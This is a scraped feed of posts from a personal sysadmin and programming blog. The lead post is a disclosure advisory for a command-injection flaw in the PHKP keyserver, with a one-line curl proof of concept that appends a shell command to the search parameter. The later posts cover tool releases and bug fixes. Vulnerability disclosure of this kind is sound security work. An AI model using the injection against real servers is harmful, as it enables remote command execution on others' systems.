arguments="0=node&amp;1=275&amp;2=comment&amp;3=comment" token="n9usVfEUtf7byg_DtY0U2-fcm665S_LxRZ3k1aaN8cE"></drupal-render-placeholder> </section> Mon, 14 Jan 2019 20:06:52 +0000 Hoti 275 at https://tech.feedyourhead.at Full Disclosure: Remote-Command-Execution in PHKP https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp <span class="field field--name-title field--type-string field--label-hidden">Full Disclosure: Remote-Command-Execution in PHKP</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul><li>System affected: <a href="https://el-tramo.be/phkp/">PHKP</a></li> <li>Software-Version: including commit <span class="sha-block"><span class="sha user-select-contain">88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b</span></span></li> <li>User-Interaction: Not required</li> <li>Impact: Remote-Code-Execution</li> <li>CVE: CVE-2018-1000885</li> </ul><h3>Detailed Description</h3> <p>According to the project-page "PHKP is an implementation of the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00">OpenPGP HTTP Keyserver Protocol (HKP)</a> in PHP". Due to unsanitized query parameters in the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00#page-3">/pks/lookup-call</a> any shell-command can be injected and executed remotely.</p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L106-L107">106 of phkp.php the search-parameter "/pks/lookup&amp;op=index" is assigned without any checks and in line 107</a> this variable will be used as a parameter of exec():</p> <div class="geshifilter"><pre class="php geshifilter-php" style="font-family:monospace;">  <span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$vars</span><span style="color: #009900;">[</span><span style="color: #0000ff;">'search'</span><span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #000088;">$pgp_result</span> <span style="color: #339933;">=</span> pgp_exec<span style="color: #009900;">(</span><span style="color: #0000ff;">"--list-public-keys --list-keys <span style="color: #006699; font-weight: bold;">$search</span>"</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> </pre></div> <p>It is possible to inject any shell commands using the search-parameter:</p> <p><span class="geshifilter"><code class="bash geshifilter-bash">curl http:<span style="color: #000000; font-weight: bold;">//</span>localhost:<span style="color: #000000;">8008</span><span style="color: #000000; font-weight: bold;">/</span>pks<span style="color: #000000; font-weight: bold;">/</span>lookup?<span style="color: #007800;">op</span>=index<span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #007800;">search</span>=js<span style="color: #000000; font-weight: bold;">@</span>example.com; <span style="color: #c20cb9; font-weight: bold;">id</span></code></span></p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L116-L117">116 and 117</a> the same problem occurs again for the "/pks/lookup&amp;op=get"-call. That means that the remote-code-execution occurs in two places.</p> <h3>Proof-Of-Concept</h3> <p>A ordinary lookup coud be the following:</p> <p><img alt="Normal phkp-lookup" data-entity-type="file" data-entity-uuid="83e75e46-8ca9-4cfe-a717-ca2535521734" src="/sites/default/files/inline-images/2018-10-08-13%3A14%3A35.png" /></p> <p>By injecting shell commands to the search-parameter, it is possible to execute any command:</p> <p><img alt="phkp rce" data-entity-type="file" data-entity-uuid="ba2c925d-adac-4faf-a1bb-d5477140702e" src="/sites/default/files/inline-images/phkp-rce.png" /></p> <h3>Mitigation</h3> <p>Currently there is no fix for this bug. The <a href="https://github.com/remko/phkp/issues/1">author was informed on Jul 18 2018</a>. A solution for this problem might be the <a href="http://php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()-function</a>.</p> <h3>Credits</h3> <p>The remote-code-execution bug was discovered by Wolfgang Hotwagner(https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp)</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Oct 08 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=270&amp;2=comment&amp;3=comment" token="cK_p_W5RhnZKxZrNTKP6lTqyEefrgqU5bitXNJBBEVM"></drupal-render-placeholder> </section> Mon, 08 Oct 2018 11:23:39 +0000 Hoti 270 at https://tech.feedyourhead.at cryptorecord 0.9.2 released https://tech.feedyourhead.at/content/cryptorecord-0-9-2-released <span class="field field--name-title field--type-string field--label-hidden">cryptorecord 0.9.2 released</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>I proudly pronounce the first (pre-)release of <a href="https://github.com/whotwagner/cryptorecord">cryptorecord</a>. Cryptorecords is a ruby gem that provides an API and scripts for creating crypto-related dns-records(e.g. DANE). Currently it supports TLSA, OPENPGPKEYS and SSHFP but I plan to support other records in future. The API doesn't create any keys or certificates. It just takes existing keyfiles to create the DNS-records.<br /> &nbsp;</p> <ul> </ul> <h3>Installation</h3> <p>The gem is available on <a href="https://rubygems.org/">Rubygems</a>. Add this line to your application's Gemfile:</p> <pre> <code> gem 'cryptorecord' </code></pre> <p>And then execute:</p> <pre> <code> $ bundle </code></pre> <p>Or install it yourself as:</p> <pre> <code> $ gem install cryptorecord </code></pre> <h3>Usage</h3> <p>This gem comes with a bunch of handy executables that helps creating the dns-records:</p> <ul> <li>openpgpkeysrecord</li> <li>sshfprecord</li> <li>tlsarecord</li> </ul> <pre> <code> Usage: ./openpgpkeysrecord -u <email> -f <gpgkeyfile> -h, --help This help screen -f PGP-PUBLICKEY-FILE, PGP-Publickey-File --publickeyfile -u, --uid EMAIL email-address </gpgkeyfile></email></code></pre> <pre> <code> Usage: ./sshfprecord [ options ] -h, --help This help screen -f SSH-HOST-KEY-FILE, SSH-Hostkey-File --hostkeyfile -H, --host HOST host -d, --digest DIGEST HASH-Algorithm -r, --read-local-hostkeys Read all local Hostkeys.(like ssh-keygen -r) </code></pre> <pre> <code> Usage: ./tlsarecord [ options ] -h, --help This help screen -f, --certfile CERTIFICATE-FILE Certificatefile -H, --host HOST host -p, --port PORTNUMBER port -P, --protocol PROTOCOL protocol(tcp,udp,sctp..) -s, --selector SELECTOR Selector for the association. 0 = Full Cert, 1 = SubjectPublicKeyInfo -u, --usage USAGE Usage for the association. 0 = PKIX-CA, 1 = PKIX-EE, 2 = DANE-TA, 3 = DANE-EE -t, --mtype MTYPE The Matching Type of the association. 0 = Exact Match, 1 = SHA-256, 2 = SHA-512 </code></pre> <h4>TLSA-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' selector = 0 mtype = 0 usage = 3 port = 443 proto = "tcp" host = "www.example.com" tlsa = Cryptorecord::Tlsa.new(:selector =&gt; selector, :mtype =&gt; mtype, :usage =&gt; usage, :port =&gt; port, :proto =&gt; proto, :host =&gt; host ) tlsa.read_file("/etc/ssl/certs/ssl-cert-snakeoil.pem") puts tlsa </code></pre> <h4>SSHFP-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' sshfp = Cryptorecord::Sshfp.new(:digest =&gt; 1, :keyfile =&gt; '/etc/ssh/ssh_host_rsa_key.pub', :host =&gt; 'www.example.com') puts sshfp </code></pre> <h4>OPENPGPKEYS-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' sshfp = Cryptorecord::Openpgpkeys.new(:uid =&gt; "hacky@hacktheplanet.com") sshfp.read_file("resources/hacky.asc") puts sshfp </code></pre> <h3>Documentation</h3> <p>The documentation can be found at <a href="https://www.rubydoc.info/gems/cryptorecord/">rubydoc.info</a></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 17 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/ruby" hreflang="en">Ruby</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/download" hreflang="en">Download</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/crypto" hreflang="en">Crypto</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/network" hreflang="en">Network</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=266&amp;2=comment&amp;3=comment" token="8fEI7N9n01EddQ0Ug03YejZAPosvCE9slAcfuGxj-AI"></drupal-render-placeholder> </section> Thu, 17 May 2018 10:13:20 +0000 Hoti 266 at https://tech.feedyourhead.at statx-fun got popular https://tech.feedyourhead.at/content/statx-fun-got-popular <span class="field field--name-title field--type-string field--label-hidden">statx-fun got popular</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>I am very surprised that <a href="https://tech.feedyourhead.at/content/using-the-new-statx-system-call">statx-fun</a> got one of my most popular <a href="https://github.com/whotwagner/statx-fun">git repositories</a>.  Arkadiusz Miśkiewicz even created a  <a href="https://git.pld-linux.org/gitweb.cgi?p=packages/statx-fun.git;a=summary">PLD-Linux-package</a> for it. I didn't expect that.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 06 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=263&amp;2=comment&amp;3=comment" token="PbpWFLuU4ui5s5hKfouSBmi_2Kp88yfmwXrVzp8wz74"></drupal-render-placeholder> </section> Sun, 06 May 2018 11:24:36 +0000 Hoti 263 at https://tech.feedyourhead.at Suricata-Update: a smart update-script for suricata-rules https://tech.feedyourhead.at/content/Suricata-Update-a-smart-update-script-for-suricata-rules <span class="field field--name-title field--type-string field--label-hidden">Suricata-Update: a smart update-script for suricata-rules</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Last week <a href="https://oisf.net/">OISF</a> announced a new tool called <a href="https://suricata-ids.org/2017/12/05/announcing-suricata-update/">suricata-update</a>. It's a smart tool for updating suricata rules from remote sources like Emerging Threats. It's works similar to oinkmaster or pulledpork. The main advantage is that it works great with suricata, makes backup of previous rulesets and tests the rules before applying them.  Yesterday it reminded me about deprecated options in my suricata-configuration because of the tests it runs(suricata -T).</p> <p>Suricata-Update was a <a href="https://redmine.openinfosecfoundation.org/issues/2344">bit too chatty</a>, so I <a href="https://github.com/OISF/suricata-update/commit/c0596f5895b8c4514d5371543cfe2ee07af1afee">contributed to the project and implemented a config-option for a custom user-agent-string</a>.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 10 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/104" hreflang="en">Suricata</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/103" hreflang="en">Open-Source</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/105" hreflang="en">Contribution</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=249&amp;2=comment&amp;3=comment" token="KUUsA0VZz_KI9mfEDvmbLBv-No11EU6mZ8BHPmNeAvQ"></drupal-render-placeholder> </section> Sun, 10 Dec 2017 10:41:13 +0000 Hoti 249 at https://tech.feedyourhead.at Improving suricatas configuration-parser https://tech.feedyourhead.at/content/Improving-suricatas-configuration-parser <span class="field field--name-title field--type-string field--label-hidden">Improving suricatas configuration-parser</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>I worked the last weeks on suricatas configuration-parser and fixed a couple of minor bugs. Some of them made it to the new <a href="https://suricata-ids.org/2017/12/06/suricata-4-0-3-available/">suricata 4.0.3 release</a>.</p> <ul><li><a href="https://suricata-ids.org/2017/12/06/suricata-4-0-3-available/">https://suricata-ids.org/2017/12/06/suricata-4-0-3-available/</a></li> <li><a href="https://github.com/OISF/suricata/commit/cb70d85c692df3e96495fa427429782add092d4d">https://github.com/OISF/suricata/commit/cb70d85c692df3e96495fa427429782add092d4d</a></li> <li><a href="https://github.com/OISF/suricata/commit/094632730ee2230ad3b2b690ea1daa528a421d8f">https://github.com/OISF/suricata/commit/094632730ee2230ad3b2b690ea1daa528a421d8f</a></li> <li><a href="https://github.com/OISF/suricata/commit/2e27a5df6b6cee7a3fdd4b6e0709a38f925ac4ad">https://github.com/OISF/suricata/commit/2e27a5df6b6cee7a3fdd4b6e0709a38f925ac4ad</a></li> </ul></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 10 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/103" hreflang="en">Open-Source</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/105" hreflang="en">Contribution</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/106" hreflang="en">Bugfix</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/104" hreflang="en">Suricata</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=248&amp;2=comment&amp;3=comment" token="VYkgD4YWXiJbOCGOnqvZ50OfcxkcqsaTXi2jScWWdYg"></drupal-render-placeholder> </section> Sun, 10 Dec 2017 10:25:25 +0000 Hoti 248 at https://tech.feedyourhead.at How I fixed a bug in my favourite media player https://tech.feedyourhead.at/content/how-i-fixed-a-bug-in-my-favourite-media-player <span class="field field--name-title field--type-string field--label-hidden">How I fixed a bug in my favourite media player</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>A few weeks ago I started <a href="https://cmus.github.io/">cmus</a> to read in all my music and it crashed badly. I wondered how this could happen and started to investigate. So I figured out that it crashed with a segfault. After compiling it with debugging-symbols and running it with gdb I located the bug in the <a href="https://github.com/lipnitsk/libcue">libcue-library</a> and I also found out the reason why: libcue doesn't handle unicode-files and one of my cue-files was unicode encodeded. So libcue started to detect a lot of "bad characters" before it segfaulted. The following lines of code leaded to a memory corruption:</p> <div class="geshifilter"><pre class="c geshifilter-c" style="font-family:monospace;">&nbsp; yylval.<span style="color: #202020;">sval</span> <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strncpy.html"><span style="color: #000066;">strncpy</span></a><span style="color: #009900;">&#40;</span> yy_buffer<span style="color: #339933;">,++</span>yytext<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>yyyleng <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> yyleng<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> yylval.<span style="color: #202020;">sval</span><span style="color: #009900;">&#91;</span>yyleng <span style="color: #339933;">-</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> </pre></div> <p>In the first line the size of yy_buffer will be used if yyleng is too big. But in the second line there is no check and yyleng will be used to write the NULL-Byte.</p> <p>The fix was trivial:</p> <p><div class="geshifilter"><pre class="c geshifilter-c" style="font-family:monospace;">yylval.<span style="color: #202020;">sval</span> <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strncpy.html"><span style="color: #000066;">strncpy</span></a><span style="color: #009900;">&#40;</span> yy_buffer<span style="color: #339933;">,++</span>yytext<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>yyyleng <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> yyleng<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> yylval.<span style="color: #202020;">sval</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span>yyyleng <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>yy_buffer<span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> yyleng<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> </pre></div></p> <p>I prepared a <a href="https://github.com/lipnitsk/libcue/commit/e60b7b01a40009c7c71c5e154a328881a6e9ae46">pull-request</a> and it was merged by the author immediatly.</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Nov 09 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=245&amp;2=comment&amp;3=comment" token="GjvCVcOrdkOib2kQql44EOHkN8BbAmDy0rtWQSgEfXs"></drupal-render-placeholder> </section> Thu, 09 Nov 2017 07:19:13 +0000 Hoti 245 at https://tech.feedyourhead.at Managing MaraDNS with Ansible https://tech.feedyourhead.at/content/managing-maradns-with-ansible <span class="field field--name-title field--type-string field--label-hidden">Managing MaraDNS with Ansible</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>I wrote a <a href="https://github.com/whotwagner/ansible-role-maradns">role for managing MaraDNS with Ansible</a>.</p> <h3>Requirements</h3> <ul> <li>Ansible 2.1+ (might ork with prior versions too)</li> <li>Debian-based Linux-distribution</li> </ul> <h3>Installation</h3> <p><code>ansible-galaxy install whotwagner.maradns</code></p> <h3>Configuration Example</h3> <pre><code> maradns_zones: - name: example.com email: support@example.com spf: - { val: 'v=spf1 ip4:212.41.224.0/24 -all' } txt: - { val: 'v=spf1 ip4:212.41.224.0/24 -all' } - { name: 'xmas', val: 'Merry Christmas' } ns: - { val: ns1.example.com. } - { val: ns2.example.com. } - { name: 'subdom.%', val: 'ns1.%' } mx: - { prio: 5, rec: mx.example.com. } - { prio: 10, rec: mx2.% } srv: - { name: "_sip._udp", val: "0 0 5060 sip.%" } fqdn4: - { domain: "mx", ip: "7.7.7.7" } ptr: - { domain: "www", ip: "8.8.8.8" } a: - { ip: 8.8.8.8 } - { domain: 'www', ip: 8.8.8.8 } - { domain: 'sip', ip: 6.6.6.6 } # the following zone is disabled: - name: alice.com enabled: False </pre><code></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Aug 28 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/ansible" hreflang="en">Ansible</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=243&amp;2=comment&amp;3=comment" token="zU_W2MAJyqckkwjlDcj7hoIYMTQfaajbt8qlMirMjXA"></drupal-render-placeholder> </section> Mon, 28 Aug 2017 18:28:00 +0000 Hoti 243 at https://tech.feedyourhead.at check_mk-rbl - A check_mk-plugin that monitors public ipv4 addresses https://tech.feedyourhead.at/content/check_mk-rbl-a_check_mk_plugin_that_alerts_blacklisted_addresses <span class="field field--name-title field--type-string field--label-hidden">check_mk-rbl - A check_mk-plugin that monitors public ipv4 addresses</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Check_MK is a great monitoring tool. One of it's strengths actually is, that it can automatically detect services and monitors it. I always monitored all public ip-addresses of my servers if they are listed on any dns-blacklist. I  had to add new public ip's manually, so I reached out for a new solution. I found a nice little plugin in a <a href="https://github.com/HeinleinSupport/check_mk">GitHub-repository of HeinleinSupport</a>. The plugin waIs great, but I missed two things. First, it checks all Ipv4-addresses of a server,  including private addresses and second it uses hardcoded dnsrbl-server. So I modified the script so that it checks only public addresses and it can use an ini-file, if it exists(otherwhise it still uses hardcoded dns-servers). My modified version <a href="https://github.com/whotwagner/check_mk-rbl">check_mk-rbl is available on github</a>.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Aug 20 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/100" hreflang="en">Monitoring</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/102" hreflang="en">Check_MK</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=242&amp;2=comment&amp;3=comment" token="kz-R6sHq8pRhFgqjnweZhHBFUpaijkAlj65nngshbmU"></drupal-render-placeholder> </section> Sun, 20 Aug 2017 08:12:05 +0000 Hoti 242 at https://tech.feedyourhead.at Using the new statx() system-call https://tech.feedyourhead.at/content/using-the-new-statx-system-call <span class="field field--name-title field--type-string field--label-hidden">Using the new statx() system-call </span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>In the Linux Kernel 4.11 <a href="https://kernelnewbies.org/Linux_4.11#head-317feedf73dcc7b97e7b28e2d478c54e3bd0b412">a new system-call statx() was introduced.</a> The old stat() system-call is used to get meta-data(like size, permissions aso.) of files and directories. Stat() lacks functionallity for remote filesystems and collects all the information of a file at once which might lead to slow operations. <a href="https://lwn.net/Articles/707602/">Statx()</a> is a new implementation of stat. The caller can request specific information(like just the size of a file) to speed up the call. If the filesystem is a remote filesystem, it is possible to let statx() first sync with the remote-server before requesting the information(or just be fine with the cached infos). Another nice feature is that statx() can also be used to get extra fileattributes like: "is the file encrypted or compressed?".</p> <p>To get a feeling for statx() and to learn how to use it, I wrote a little <a href="https://github.com/whotwagner/statx-fun">statx()-application and published it on github</a>. At the moment the glibc doesn't support statx() so I had to use the generic syscall()-function and create my own statx()-header-file to make it work.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jun 04 2017</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=239&amp;2=comment&amp;3=comment" token="UEqJblgvDLsyBRLIA0F9atdiaIH0yG49vsgyqw32eGc"></drupal-render-placeholder> </section> Sun, 04 Jun 2017 20:37:21 +0000 Hoti 239 at https://tech.feedyourhead.at